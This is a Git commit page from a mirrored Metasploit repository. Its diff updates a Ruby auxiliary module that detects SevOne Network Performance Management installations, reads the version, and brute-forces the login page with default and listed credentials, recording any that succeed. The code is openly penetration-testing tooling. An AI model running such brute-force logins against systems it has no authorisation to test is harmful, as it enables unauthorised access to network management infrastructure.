infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update sevone_enum.rb 

New updates as per review comments
unstable
Karn Ganeshen 2013-06-08 02:28:09 +05:30
parent 1ca8fd2cf1
commit 74bddcf339
1 changed files with 83 additions and 87 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

170
modules/auxiliary/scanner/http/sevone_enum.rb
View File

@ -10,106 +10,102 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => 'SevOne Network Performance Management System Application Version Enumeration and Brute Force Login Utility', 'Name' => 'SevOne Network Performance Management Application Brute Force Login Utility',
'Description' => %{ 'Description' => %{
This module scans for SevOne Network Performance Management System Application, finds its version, This module scans for SevOne Network Performance Management System Application, finds its version,
and performs login brute force to identify valid credentials.}, and performs login brute force to identify valid credentials.},
'Author' => 'Author' =>
[ [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>', 'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
], ],
'Version' => '1.0', 'DisclosureDate' => 'June 07, 2013',
'DisclosureDate' => 'June 07, 2013', 'License' => MSF_LICENSE
'License' => MSF_LICENSE ))
)) register_options(
register_options( [
[ Opt::RPORT(8443),
Opt::RPORT(8443), OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']), OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']),
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']), OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true]) ], self.class)
], self.class) end
end
def run_host(ip) def run_host(ip)
if not is_app_sevone? unless is_app_sevone?
print_error("Application does not appear to be SevOne. Module will not continue.") print_error("Application does not appear to be SevOne. Module will not continue.")
return return
end end
print_status("Starting login brute force...") print_status("Starting login brute force...")
each_user_pass do |user, pass| each_user_pass do |user, pass|
do_login(user, pass) do_login(user, pass)
end end
end end
# #
# What's the point of running this module if the app actually isn't SevOne? # What's the point of running this module if the app actually isn't SevOne?
# #
def is_app_sevone? def is_app_sevone?
res = send_request_cgi(
{
'uri' => '/doms/about/index.php',
'method' => 'GET'
})
res = send_request_cgi( if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
{ version_key = /Version: <strong>(.+)<\/strong>/
'uri' => '/doms/about/index.php', version = res.body.scan(version_key).flatten
'method' => 'GET' print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
}) success = true
end
end
# should include version number #
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
begin
res = send_request_cgi(
{
'uri' => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
'method' => 'GET'
})
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE')) check_key = "The user has logged in successfully."
version_key = /Version: <strong>(.+)<\/strong>/
version = res.body.scan(version_key).flatten
print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
success = true
end
end
# key = JSON.parse(res.body)["statusString"]
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
begin
res = send_request_cgi(
{
'uri' => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+",
'method' => 'GET'
})
check_key = "The user has logged in successfully." if (not res or key != "#{check_key}")
vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
return :skip_pass
else
print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
key = JSON.parse(res.body)["statusString"] report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'SevOne Network Performance Management System Application',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
if (not res or key != "#{check_key}") report_auth_info(report_hash)
vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}") return :next_user
return :skip_pass end
else
print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
report_hash = { rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
:host => datastore['RHOST'], res = false
:port => datastore['RPORT'],
:sname => 'SevOne Network Performance Management System Application',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
res = false
print_error("HTTP Connection Failed, Aborting") print_error("HTTP Connection Failed, Aborting")
return :abort return :abort
end end
end end
end end